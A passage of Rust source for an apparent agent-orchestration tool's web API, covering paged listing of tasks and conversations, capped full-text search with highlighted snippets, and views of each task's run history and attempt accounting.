4457            settings::SaveError::Refused(m) => ApiError {
4458                text_reason: None,
4459                status: StatusCode::UNPROCESSABLE_ENTITY,
4460                message: m,
4461            },
4462            settings::SaveError::Internal(m) => ApiError::internal(m),
4463        })
4464    })
4465    .await
4466}
4467
4468async fn queue_list(
4469    State(ui): State<Arc<Ui>>,
4470    Query(q): Query<ListQuery>,
4471) -> ApiResult<Json<Vec<TaskView>>> {
4472    blocking(move || {
4473        let tasks = ui.queue.list();
4474        let inv =
4475            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4476        Ok(Json(
4477            tasks
4478                .into_iter()
4479                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4480                .map(|t| TaskView::with_inventory(t, &inv))
4481                .collect(),
4482        ))
4483    })
4484    .await
4485}
4486
4487/// Cursor pages read a bounded number of records, never the older transcripts
4488/// or instructions. Cursors advance through a frozen file-name snapshot,
4489/// including corrupt rows, so skipped/deleted records cannot repeat a page.
4490/// Concurrent inserts are reconciled by a trailing store refresh.
4491#[derive(Debug, Default, Deserialize)]
4492struct PageQuery {
4493    before: Option<String>,
4494}
4495
4496#[derive(Serialize)]
4497struct StorePage<T> {
4498    rows: Vec<T>,
4499    next: Option<String>,
4500}
4501
4502const STORE_PAGE_SIZE: usize = 16;
4503
4504/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
4505/// always read from disk; writes/deletions during the walk are reconciled by
4506/// the next store revision. Never rescan the entire directory for every page.
4507#[derive(Debug)]
4508struct ListWalk {
4509    token: u64,
4510    talks: bool,
4511    opened: std::time::Instant,
4512    ids: Arc<Vec<String>>,
4513}
4514
4515fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4516    let mut walks = ui
4517        .monitor
4518        .list_walks
4519        .lock()
4520        .unwrap_or_else(PoisonError::into_inner);
4521    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4522    let (token, ids, offset) = if let Some(cursor) = q.before {
4523        let (token, offset) = cursor
4524            .split_once(':')
4525            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4526        let token = token
4527            .parse::<u64>()
4528            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4529        let offset = offset
4530            .parse::<usize>()
4531            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4532        let walk = walks
4533            .iter()
4534            .find(|walk| walk.token == token && walk.talks == talks)
4535            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4536        (token, walk.ids.clone(), offset)
4537    } else {
4538        let root = if talks {
4539            ui.talks.root()
4540        } else {
4541            ui.queue.root()
4542        };
4543        let mut ids = crate::queue::record_ids(root, "json")?;
4544        ids.sort_unstable_by(|a, b| b.cmp(a));
4545        let ids = Arc::new(ids);
4546        let mut token = crate::rng::entropy();
4547        while walks.iter().any(|walk| walk.token == token) {
4548            token = crate::rng::entropy();
4549        }
4550        // Four clients can enumerate both stores and overlap a refresh. Bound
4551        // retained membership snapshots; an evicted cursor explicitly retries.
4552        if walks.len() >= 16 {
4553            walks.remove(0);
4554        }
4555        walks.push(ListWalk {
4556            token,
4557            talks,
4558            opened: std::time::Instant::now(),
4559            ids: ids.clone(),
4560        });
4561        (token, ids, 0)
4562    };
4563    if offset > ids.len() {
4564        return Err(ApiError::bad_request("Invalid list cursor"));
4565    }
4566    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4567    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4568    Ok((ids[offset..end].to_vec(), next))
4569}
4570
4571async fn queue_page(
4572    State(ui): State<Arc<Ui>>,
4573    Query(q): Query<PageQuery>,
4574) -> ApiResult<Json<StorePage<TaskView>>> {
4575    blocking(move || {
4576        let (ids, next) = page_ids(&ui, false, q)?;
4577        let tasks: Vec<_> = ids
4578            .into_iter()
4579            .filter_map(|id| ui.queue.get(&id).ok())
4580            .collect();
4581        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4582        let rows = tasks
4583            .into_iter()
4584            .map(|task| TaskView::with_inventory(task, &inv))
4585            .collect();
4586        Ok(Json(StorePage { rows, next }))
4587    })
4588    .await
4589}
4590
4591/// List-only projection: retain every turn timestamp for exact unread counts,
4592/// but do not ship transcripts, parse Markdown or discover repository config.
4593/// Opening a conversation obtains its full context window and controls.
4594#[derive(Serialize)]
4595struct TalkListView {
4596    id: String,
4597    repo: PathBuf,
4598    agent: String,
4599    status: talk::TalkStatus,
4600    turns: Vec<TalkListTurn>,
4601    thinking: bool,
4602    context: talk::ContextUsage,
4603    created_at: Timestamp,
4604    updated_at: Timestamp,
4605}
4606
4607#[derive(Serialize)]
4608struct TalkListTurn {
4609    who: talk::Who,
4610    at: Timestamp,
4611    body: String,
4612}
4613
4614async fn talks_page(
4615    State(ui): State<Arc<Ui>>,
4616    Query(q): Query<PageQuery>,
4617) -> ApiResult<Json<StorePage<TalkListView>>> {
4618    blocking(move || {
4619        let (ids, next) = page_ids(&ui, true, q)?;
4620        let rows = ids
4621            .into_iter()
4622            .filter_map(|id| ui.talks.get(&id).ok())
4623            .map(|talk| TalkListView {
4624                thinking: ui.is_thinking(&talk.id),
4625                context: talk::context_usage(&talk, None),
4626                turns: talk
4627                    .turns
4628                    .iter()
4629                    .map(|turn| TalkListTurn {
4630                        who: turn.who,
4631                        at: turn.at,
4632                        body: turn
4633                            .body
4634                            .lines()
4635                            .next()
4636                            .unwrap_or_default()
4637                            .chars()
4638                            .take(240)
4639                            .collect(),
4640                    })
4641                    .collect(),
4642                id: talk.id,
4643                repo: talk.repo,
4644                agent: talk.agent,
4645                status: talk.status,
4646                created_at: talk.created_at,
4647                updated_at: talk.updated_at,
4648            })
4649            .collect();
4650        Ok(Json(StorePage { rows, next }))
4651    })
4652    .await
4653}
4654
4655async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4656    blocking(move || {
4657        let tasks = ui.indexed_tasks()?;
4658        Ok(Json(TaskCountsView::from(
4659            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4660        )))
4661    })
4662    .await
4663}
4664
4665/// Most hits one search returns. The rest are counted in `total`.
4666const SEARCH_MAX_HITS: usize = 100;
4667/// Longest query, in characters, and most terms it is split into.
4668const SEARCH_MAX_QUERY: usize = 200;
4669const SEARCH_MAX_TERMS: usize = 8;
4670/// Characters of context kept before the first hit, and after it.
4671const SNIPPET_BEFORE: usize = 50;
4672const SNIPPET_AFTER: usize = 110;
4673
4674/// `?scope=runs|tasks&q=...`
4675#[derive(Debug, Deserialize)]
4676struct SearchQuery {
4677    #[serde(default)]
4678    scope: String,
4679    #[serde(default)]
4680    q: String,
4681}
4682
4683/// One piece of a snippet. `hit` pieces are what matched; the client renders
4684/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4685#[derive(Debug, Serialize, PartialEq, Eq)]
4686struct SnippetPart {
4687    text: String,
4688    hit: bool,
4689}
4690
4691#[derive(Debug, Serialize)]
4692struct SearchHit {
4693    id: String,
4694    /// The name of the field the snippet was cut from.
4695    field: String,
4696    snippet: Vec<SnippetPart>,
4697    /// The run's list row, so the page can apply its state / section / repo
4698    /// filters to a hit outside the loaded window. Absent for tasks and for a
4699    /// run record the list view cannot read.
4700    #[serde(skip_serializing_if = "Option::is_none")]
4701    run: Option<RunSummary>,
4702}
4703
4704#[derive(Debug, Serialize)]
4705struct SearchView {
4706    scope: String,
4707    q: String,
4708    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4709    hits: Vec<SearchHit>,
4710    /// Every match, hits beyond the cap included.
4711    total: usize,
4712    truncated: bool,
4713    /// Runs whose `run.json` could not be parsed at all. They were not
4714    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4715    unreadable: usize,
4716}
4717
4718/// The text leaves of a JSON document, with the name of the field each sits
4719/// under. Keys and numbers are skipped: they are structure, not prose.
4720fn text_leaves<'a>(
4721    value: &'a serde_json::Value,
4722    field: &'a str,
4723    out: &mut Vec<(&'a str, &'a str)>,
4724) {
4725    match value {
4726        serde_json::Value::String(s) => out.push((field, s)),
4727        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4728        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4729        _ => {}
4730    }
4731}
4732
4733/// Lower-case one character without changing how many there are, so indices
4734/// in the lowered text are indices in the original.
4735fn fold_char(c: char) -> char {
4736    c.to_lowercase().next().unwrap_or(c)
4737}
4738
4739/// Split a query into its lower-cased terms.
4740fn search_terms(q: &str) -> Vec<String> {
4741    let mut terms: Vec<String> = Vec::new();
4742    for t in q.split_whitespace() {
4743        let t = t.to_lowercase();
4744        if !terms.contains(&t) {
4745            terms.push(t);
4746        }
4747    }
4748    terms
4749}
4750
4751/// Match `terms` (all of them, anywhere in the document) against the leaves
4752/// and cut a snippet around the first hit. `None` when a term is missing.
4753fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4754    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4755    let mut first: Option<usize> = None;
4756    for term in terms {
4757        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4758        first = Some(first.map_or(at, |f| f.min(at)));
4759    }
4760    // The leaf holding the earliest hit of any term is where the snippet is cut.
4761    let (field, text) = leaves[first?];
4762    Some(SearchHit {
4763        id: String::new(),
4764        field: field.to_owned(),
4765        snippet: snippet_of(text, terms),
4766        run: None,
4767    })
4768}
4769
4770/// A window of `text` around the first occurrence of any term, whitespace
4771/// collapsed, with every term occurrence inside the window marked.
4772fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4773    let chars: Vec<char> = text.chars().collect();
4774    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4775    let needles: Vec<Vec<char>> = terms
4776        .iter()
4777        .map(|t| t.chars().map(fold_char).collect())
4778        .collect();
4779    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4780        let mut best: Option<(usize, usize)> = None;
4781        for n in needles.iter().filter(|n| !n.is_empty()) {
4782            // `to` bounds where a match may start; it may run past `to` (the
4783            // caller clips what it shows). A term longer than the field cannot
4784            // occur in it (it may live in another leaf of the document).
4785            if n.len() > chars.len() || to == 0 {
4786                continue;
4787            }
4788            let last = (to - 1).min(chars.len() - n.len());
4789            if from > last {
4790                continue;
4791            }
4792            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4793                && best.is_none_or(|(b, _)| i < b)
4794            {
4795                best = Some((i, i + n.len()));
4796            }
4797        }
4798        best
4799    };
4800    let Some((start, _)) = find(0, chars.len()) else {
4801        // Matched only through a case mapping that changes length: show the head.
4802        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4803        return vec![SnippetPart {
4804            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4805            hit: false,
4806        }];
4807    };
4808    let lo = start.saturating_sub(SNIPPET_BEFORE);
4809    let hi = (start + SNIPPET_AFTER).min(chars.len());
4810    let mut parts: Vec<SnippetPart> = Vec::new();
4811    let mut push = |s: &[char], hit: bool| {
4812        if s.is_empty() {
4813            return;
4814        }
4815        let text: String = s.iter().collect();
4816        match parts.last_mut() {
4817            Some(p) if p.hit == hit => p.text.push_str(&text),
4818            _ => parts.push(SnippetPart { text, hit }),
4819        }
4820    };
4821    if lo > 0 {
4822        push(&['\u{2026}'], false);
4823    }
4824    let mut at = lo;
4825    while at < hi {
4826        match find(at, hi) {
4827            Some((s, e)) => {
4828                push(&chars[at..s], false);
4829                // A match running past the window is shown up to its edge.
4830                let shown = e.min(hi);
4831                push(&chars[s..shown], true);
4832                at = shown;
4833            }
4834            None => {
4835                push(&chars[at..hi], false);
4836                at = hi;
4837            }
4838        }
4839    }
4840    if hi < chars.len() {
4841        push(&['\u{2026}'], false);
4842    }
4843    // Collapse whitespace (newlines in an instruction) without disturbing the
4844    // hit boundaries.
4845    let mut prev_space = false;
4846    for p in &mut parts {
4847        let mut out = String::with_capacity(p.text.len());
4848        for c in p.text.chars() {
4849            if c.is_whitespace() {
4850                if !prev_space {
4851                    out.push(' ');
4852                }
4853                prev_space = true;
4854            } else {
4855                out.push(c);
4856                prev_space = false;
4857            }
4858        }
4859        p.text = out;
4860    }
4861    parts.retain(|p| !p.text.is_empty());
4862    parts
4863}
4864
4865/// The search over `docs` (id, document), newest first, capped.
4866fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4867where
4868    I: IntoIterator<Item = (String, serde_json::Value)>,
4869{
4870    for (id, doc) in docs {
4871        let mut leaves = Vec::new();
4872        // The id is text an operator types too, and it is a map key on disk,
4873        // not a leaf.
4874        leaves.push(("id", id.as_str()));
4875        text_leaves(&doc, "", &mut leaves);
4876        if let Some(mut hit) = search_document(terms, &leaves) {
4877            view.total += 1;
4878            if view.hits.len() < SEARCH_MAX_HITS {
4879                hit.id = id;
4880                view.hits.push(hit);
4881            }
4882        }
4883    }
4884    view.truncated = view.total > view.hits.len();
4885}
4886
4887/// What a conversation is searched by: its list title and each turn's text,
4888/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4889/// (session ids, repo paths, usage, drafts) is part of the document.
4890///
4891/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4892/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4893fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4894    let opener = talk
4895        .turns
4896        .iter()
4897        .find(|t| t.who == crate::talk::Who::Operator)
4898        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4899        .unwrap_or("");
4900    let title: String = if opener.chars().count() > 96 {
4901        opener.chars().take(95).chain(['\u{2026}']).collect()
4902    } else {
4903        opener.to_owned()
4904    };
4905    let turns: Vec<serde_json::Value> = talk
4906        .turns
4907        .iter()
4908        .map(|t| {
4909            let who = match t.who {
4910                crate::talk::Who::Operator => "operator",
4911                crate::talk::Who::Agent => "agent",
4912            };
4913            serde_json::json!({ who: t.body })
4914        })
4915        .collect();
4916    serde_json::json!({ "title": title, "turns": turns })
4917}
4918
4919/// Read-only full-text search over every run's `run.json`, every task or every
4920/// conversation (title and transcript).
4921///
4922/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4923/// record from an older schema still searches; only a file that is not JSON
4924/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4925async fn search_get(
4926    State(ui): State<Arc<Ui>>,
4927    Query(q): Query<SearchQuery>,
4928) -> ApiResult<Json<SearchView>> {
4929    let query = q.q.trim().to_owned();
4930    if query.is_empty() {
4931        return Err(ApiError::bad_request("q must not be empty"));
4932    }
4933    if query.chars().count() > SEARCH_MAX_QUERY {
4934        return Err(ApiError::bad_request(format!(
4935            "q is longer than {SEARCH_MAX_QUERY} characters"
4936        )));
4937    }
4938    let terms = search_terms(&query);
4939    if terms.len() > SEARCH_MAX_TERMS {
4940        return Err(ApiError::bad_request(format!(
4941            "q has more than {SEARCH_MAX_TERMS} terms"
4942        )));
4943    }
4944    let scope = q.scope;
4945    if scope != "runs" && scope != "tasks" && scope != "chats" {
4946        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4947    }
4948    blocking(move || {
4949        let mut view = SearchView {
4950            scope: scope.clone(),
4951            q: query,
4952            hits: Vec::new(),
4953            total: 0,
4954            truncated: false,
4955            unreadable: 0,
4956        };
4957        if scope == "runs" {
4958            let mut unreadable = 0;
4959            // One run.json is read, matched and dropped at a time; nothing
4960            // holds the whole history. The scan runs to the end even past the
4961            // hit cap so `total` and `unreadable` stay exact.
4962            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4963                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4964                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4965                    Some(v) => Some((id, v)),
4966                    None => {
4967                        unreadable += 1;
4968                        None
4969                    }
4970                }
4971            });
4972            search_docs(&terms, docs, &mut view);
4973            view.unreadable = unreadable;
4974            // Only the capped hits get a row: the filters need a run's state,
4975            // and reading every match would be the whole history again.
4976            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4977            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4978            for hit in &mut view.hits {
4979                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4980                    hit.run = summarize(
4981                        [state],
4982                        &open_runs,
4983                        &claimed,
4984                        &superseded,
4985                        |p| probe.borrow_mut().status(p),
4986                        |p| probe.borrow_mut().started_at(p),
4987                    )
4988                    .pop();
4989                }
4990            }
4991        } else if scope == "chats" {
4992            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4993            view.unreadable = unreadable;
4994            search_docs(
4995                &terms,
4996                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4997                &mut view,
4998            );
4999        } else {
5000            let docs = ui.queue.list().into_iter().filter_map(|t| {
5001                let mut v = serde_json::to_value(&t).ok()?;
5002                // `source` serialises as a tagged object; the label is what
5003                // the operator reads ("human", "chat@a1b2").
5004                if let Some(o) = v.as_object_mut() {
5005                    o.insert("filed_by".to_owned(), t.source.label().into());
5006                }
5007                Some((t.id, v))
5008            });
5009            search_docs(&terms, docs, &mut view);
5010        }
5011        Ok(Json(view))
5012    })
5013    .await
5014}
5015
5016/// One attempt in a task's history, as the task page lists it.
5017#[derive(Debug, Serialize)]
5018struct TaskRunView {
5019    /// 1-based position in [`Task::runs`].
5020    n: usize,
5021    id: String,
5022    short: String,
5023    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5024    kind: &'static str,
5025    /// The run's own status string; `None` when its record cannot be read.
5026    status: Option<&'static str>,
5027    /// Whether this build could read the run's record. Counted, never hidden.
5028    readable: bool,
5029    /// A verdict from a collapsed panel is provisional, never a decision.
5030    provisional: bool,
5031    /// What kind of attempt this was, in one line.
5032    description: String,
5033    /// How it ended and why the task moved on (or what it is doing now).
5034    outcome: String,
5035    created_at: Option<Timestamp>,
5036    pr: Option<String>,
5037    /// Why this pass ended, classified once; the flowchart is built from it.
5038    exit: RunExit,
5039    /// What the pass did to the task's attempt budget.
5040    attempt: AttemptCost,
5041    /// Edge wording for leaving this entry; names the recorded cause when
5042    /// there is one.
5043    exit_label: String,
5044    /// The position of a later entry for the same run: this entry is an
5045    /// earlier pass of it.
5046    later_pass: Option<usize>,
5047    /// Which pass over the run this entry is (1-based) and how many entries
5048    /// the task lists for the run. Counted from the list, so known even for
5049    /// a legacy record.
5050    pass_n: usize,
5051    passes_of_run: usize,
5052    /// What the run recorded about this pass; `None` for a record from before
5053    /// passes were kept, whose cause stays unknown.
5054    pass: Option<PassView>,
5055    /// The branch a review-only run reopened.
5056    branch: Option<String>,
5057    /// The badge word when it differs from `status` (`stale` / `superseded`);
5058    /// filled by the task route, which can see liveness and later attempts.
5059    badge: Option<String>,
5060}
5061
5062/// One recorded pass over a run, for the wire.
5063#[derive(Debug, Clone, PartialEq, Serialize)]
5064struct PassView {
5065    index: usize,
5066    resumed: bool,
5067    started_at: Timestamp,
5068    ended_at: Option<Timestamp>,
5069    /// `open`, `parked` or `unrecorded`.
5070    end: &'static str,
5071    cause: Option<crate::run::ParkCause>,
5072    /// One line: why it stopped, or that nobody recorded why.
5073    label: String,
5074    /// What the task recorded for this pass; `None` when it was not settled
5075    /// (or settled by a build that kept no record).
5076    cost: Option<crate::queue::PassCost>,
5077}
5078
5079impl PassView {
5080    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5081        use crate::run::PassEnd;
5082        let (end, cause, label) = match &p.end {
5083            None => ("open", None, "still open".to_owned()),
5084            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5085            Some(PassEnd::Unrecorded) => (
5086                "unrecorded",
5087                None,
5088                "stopped without recording why (a crash, a kill or a restart; not known)"
5089                    .to_owned(),
5090            ),
5091        };
5092        Self {
5093            index: p.index,
5094            resumed: p.resumed,
5095            started_at: p.started_at,
5096            ended_at: p.ended_at,
5097            end,
5098            cause,
5099            label,
5100            cost: settled.map(|t| t.cost),
5101        }
5102    }
5103}
5104
5105/// How one pass over a run ended, as far as the task's life is concerned.
5106#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5107#[serde(rename_all = "snake_case")]
5108enum RunExit {
5109    Unreadable,
5110    /// An earlier pass of a run id that appears again: it stopped short.
5111    Interrupted,
5112    Parked,
5113    QuotaStall,
5114    /// Stalled on a resumed pass with quota losses on record: they may be
5115    /// left over from an earlier pass, so whether this one was refunded is
5116    /// not knowable.
5117    ResumedQuotaStall,
5118    Merged,
5119    Ready,
5120    Superseded,
5121    /// The change was already on the base under other commits: the task
5122    /// finished without this run landing anything.
5123    AlreadyInBase,
5124    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5125    Stalled,
5126    /// Blocked / no-op with a pull request left open: held for a person.
5127    HeldWithPr,
5128    NoopHeld,
5129    /// Blocked or failed: the attempt is spent and the task retries or holds.
5130    Spent,
5131    InProgress,
5132}
5133
5134#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5135#[serde(rename_all = "snake_case")]
5136enum AttemptCost {
5137    Spent,
5138    Refunded,
5139    None,
5140    /// Cannot be told from the records that remain.
5141    Unknown,
5142}
5143
5144impl RunExit {
5145    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5146        let Some(s) = s else {
5147            return Self::Unreadable;
5148        };
5149        let status = s.status;
5150        if resumed_later {
5151            Self::Interrupted
5152        } else if s.parked {
5153            Self::Parked
5154        } else if !status.done() {
5155            Self::InProgress
5156        } else if matches!(status, RunStatus::Merged) {
5157            Self::Merged
5158        } else if matches!(status, RunStatus::Ready) {
5159            Self::Ready
5160        } else if matches!(status, RunStatus::Superseded) {
5161            Self::Superseded
5162        } else if matches!(status, RunStatus::AlreadyInBase) {
5163            Self::AlreadyInBase
5164        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5165            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5166        {
5167            if resumed {
5168                Self::ResumedQuotaStall
5169            } else {
5170                Self::QuotaStall
5171            }
5172        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5173            Self::HeldWithPr
5174        } else if matches!(status, RunStatus::VerifiedNoop) {
5175            Self::NoopHeld
5176        } else if matches!(status, RunStatus::Stalled) {
5177            Self::Stalled
5178        } else {
5179            Self::Spent
5180        }
5181    }
5182
5183    fn cost(self) -> AttemptCost {
5184        match self {
5185            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5186            Self::Merged
5187            | Self::Ready
5188            | Self::Stalled
5189            | Self::HeldWithPr
5190            | Self::NoopHeld
5191            | Self::Spent => AttemptCost::Spent,
5192            Self::InProgress => AttemptCost::None,
5193            Self::AlreadyInBase => AttemptCost::Refunded,
5194            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5195                AttemptCost::Unknown
5196            }
5197        }
5198    }
5199
5200    /// Short edge wording for leaving a run this way.
5201    fn edge_label(self, status: Option<&str>) -> String {
5202        match self {
5203            Self::Unreadable => "record unreadable".to_owned(),
5204            Self::Interrupted => "interrupted before the run finished".to_owned(),
5205            Self::Parked => "parked, attempt refunded".to_owned(),
5206            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5207            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5208            Self::Merged => "merged".to_owned(),
5209            Self::Ready => "ready, not merged".to_owned(),
5210            Self::Superseded => "superseded by a later attempt".to_owned(),
5211            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5212            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5213            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5214            Self::NoopHeld => "verified no-op".to_owned(),
5215            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5216            Self::InProgress => "in progress".to_owned(),
5217        }
5218    }
5219
5220    /// Does a task in `end` follow from a run that ended this way? When not,
5221    /// somebody closed or held the task by hand.
5222    fn explains(self, end: TaskStatus) -> bool {
5223        match self {
5224            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5225            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5226            Self::Unreadable | Self::Superseded | Self::Ready => true,
5227            _ => end != TaskStatus::Done,
5228        }
5229    }
5230}
5231
5232/// `GET /api/queue/{id}` - one task with every attempt it went through.
5233#[derive(Debug, Serialize)]
5234struct TaskDetailView {
5235    #[serde(flatten)]
5236    task: TaskView,
5237    /// Task override, or the default daemon budget when inherited.
5238    /// A separate loop's command-line limit is not visible from here.
5239    max_attempts: usize,
5240    history: Vec<TaskRunView>,
5241    /// Entries in `history`: passes over runs, not distinct runs and not
5242    /// attempts consumed (`task.attempts`).
5243    passes_total: usize,
5244    /// Distinct runs those passes belong to.
5245    runs_distinct: usize,
5246    flow: FlowView,
5247    /// Set for a follow-up task; see [`followup_origin`].
5248    followup_origin: Option<FollowUpOrigin>,
5249    /// How many entries of `history` could not be read.
5250    runs_unreadable: usize,
5251    /// Why the attempt count can be lower than the number of runs.
5252    attempts_note: &'static str,
5253}
5254
5255const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5256and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5257on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5258the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5259
5260/// The branch a review-only run reopened, read off the instruction
5261/// `Runner::open_review` writes.
5262fn review_branch_of(instruction: &str) -> Option<&str> {
5263    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5264    rest.split('`').next().filter(|b| !b.is_empty())
5265}
5266
5267/// Where an entry sits in a task's run list.
5268#[derive(Default)]
5269struct RunSlot<'a> {
5270    /// 1-based position.
5271    n: usize,
5272    /// The same run id appeared earlier: this pass resumed it.
5273    resumed: bool,
5274    /// Position of a later pass over the same run id, if any.
5275    resumed_later: Option<usize>,
5276    /// The previous distinct run and how it ended, for the retry note.
5277    prior: Option<(&'a str, RunStatus)>,
5278    last: bool,
5279    /// This pass as the run recorded it, when it did.
5280    pass: Option<&'a crate::run::RunPass>,
5281    /// What the task recorded when it settled this pass.
5282    settled: Option<&'a crate::queue::TaskPass>,
5283    /// 1-based position among the task's entries for this run, and their count.
5284    pass_n: usize,
5285    passes_of_run: usize,
5286}
5287
5288/// Describe one entry of a task's run list. Pure: everything it needs is on
5289/// the run and the task, so it is asserted without a server.
5290fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5291    let RunSlot {
5292        n,
5293        resumed,
5294        resumed_later,
5295        prior,
5296        last,
5297        pass,
5298        settled,
5299        pass_n,
5300        passes_of_run,
5301    } = at;
5302    let short = run::short_of(id).to_owned();
5303    let Some(s) = state else {
5304        return TaskRunView {
5305            n,
5306            id: id.to_owned(),
5307            short,
5308            kind: "unknown",
5309            status: None,
5310            readable: false,
5311            provisional: false,
5312            description:
5313                "This run's record could not be read by this build (written by a different \
5314                          magi, or removed), so what kind of attempt it was is unknown."
5315                    .to_owned(),
5316            outcome: String::new(),
5317            created_at: None,
5318            pr: None,
5319            exit: RunExit::Unreadable,
5320            attempt: AttemptCost::Unknown,
5321            exit_label: RunExit::Unreadable.edge_label(None),
5322            later_pass: resumed_later,
5323            pass_n,
5324            passes_of_run,
5325            pass: None,
5326            branch: None,
5327            badge: None,
5328        };
5329    };
5330    let branch = review_branch_of(&s.instruction);
5331    let kind = if resumed {
5332        "resume"
5333    } else if branch.is_some() {
5334        "review"
5335    } else if task.solo || s.candidates.len() == 1 {
5336        "solo"
5337    } else {
5338        "competition"
5339    };
5340    let mut description = match kind {
5341        "resume" => {
5342            format!("Resumed run {short}: the same run carried on instead of competing again.")
5343        }
5344        "review" => format!(
5345            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5346            branch.unwrap_or_default()
5347        ),
5348        "solo" => "Solo run: one implementer straight into review.".to_owned(),
5349        _ => format!(
5350            "Competition: {} candidates judged blind.",
5351            s.candidates.len().max(1)
5352        ),
5353    };
5354    if !resumed && let Some((p, st)) = prior {
5355        description.push_str(&format!(
5356            " A retry: run {p} before it ended {}.",
5357            st.display_label()
5358        ));
5359    }
5360
5361    let status = s.status;
5362    let provisional = matches!(status, RunStatus::Stalled)
5363        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5364    let head = if resumed_later.is_some() {
5365        String::new()
5366    } else {
5367        match status {
5368            RunStatus::Merged => "Merged.".to_owned(),
5369            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5370            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5371            RunStatus::AlreadyInBase => {
5372                "Already in the base: this change landed under other commits, nothing was left to land."
5373                    .to_owned()
5374            }
5375            RunStatus::Stalled => {
5376                "Stalled: the judging panel never reached a quorum, so there is no verdict."
5377                    .to_owned()
5378            }
5379            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5380            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5381            RunStatus::VerifiedNoop => {
5382                "Verified no-op: the candidates found nothing to change.".to_owned()
5383            }
5384            other if other.done() => format!("Ended {}.", other.display_label()),
5385            other => format!("In progress ({}).", other.display_label()),
5386        }
5387    };
5388    let view = pass.map(|p| PassView::of(p, settled));
5389    let recorded_end = view
5390        .as_ref()
5391        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5392    let cost_words = match view.as_ref().and_then(|v| v.cost) {
